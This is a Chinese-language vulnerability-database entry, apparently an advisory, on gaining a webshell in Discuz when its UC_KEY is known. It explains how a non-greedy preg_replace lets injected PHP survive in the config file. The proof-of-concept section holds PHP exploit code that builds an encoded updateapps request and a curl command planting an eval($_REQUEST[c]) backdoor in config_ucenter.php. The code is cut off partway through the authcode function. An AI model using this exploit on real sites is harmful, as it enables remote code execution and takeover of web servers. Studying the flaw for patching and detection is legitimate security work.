Discuz的利用UC_KEY进行getshell

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 知key得shell。 ### 详细说明: ``` $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); ``` 这句代码是有漏洞的。 如果我第一次提交的是 ``` \');phpinfo(); ``` define那句就变成了 ``` define('UC_API','\');phpinfo();'); ``` 那么我下一次提交呢? 非贪婪匹配会匹配到 ``` define('UC_API','\'); ``` phpinfo();就留下来了。 ### 漏洞证明: ``` <?php $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里 $url = 'http://localhost/api/uc.php'; $arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16));...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息